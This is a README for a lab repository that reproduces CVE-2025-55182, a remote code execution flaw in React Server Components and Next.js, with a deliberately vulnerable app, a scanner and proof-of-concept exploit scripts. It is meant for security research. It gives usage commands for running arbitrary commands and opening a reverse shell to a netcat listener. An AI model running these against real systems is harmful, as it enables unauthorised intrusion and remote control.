
This repository contains a complete environment for analyzing and reproducing CVE-2025-55182, a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting React 19.x and Next.js 15.x.
⚠️ WARNING: This project intentionally contains vulnerable code. DO NOT deploy this to a public server or production environment.
react-server-dom-webpack, react-server-dom-turbopackThe vulnerability exists in how the React Server Components runtime processes serialized data from HTTP requests (Server Actions). An attacker can craft a malicious "Flight" protocol payload that, when deserialized by the server, executes arbitrary code before authentication checks occur.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
Run the vulnerable application in an isolated container:
docker-compose up -d --build
The application will be available at http://localhost:3000.
Visit http://localhost:3000 in your browser. You should see the "React2Shell Lab" interface with several testing panels:
We provide several tools to test the vulnerability.
Install requirements:
pip install -r exploit/requirements.txt
Check if vulnerable:
python3 exploit/exploit.py -u http://localhost:3000 --check
Execute a command:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Reverse Shell (requires a listener, e.g., nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Scan for vulnerable React/Next.js instances:
python3 exploit/scanner.py -u http://localhost:3000
To fix this vulnerability in your own applications:
Upgrade Dependencies:
Verify Patch:
Check package.json to ensure react-server-dom-* packages are updated.
This project is for educational purposes and security research only. The authors take no responsibility for the misuse of this material.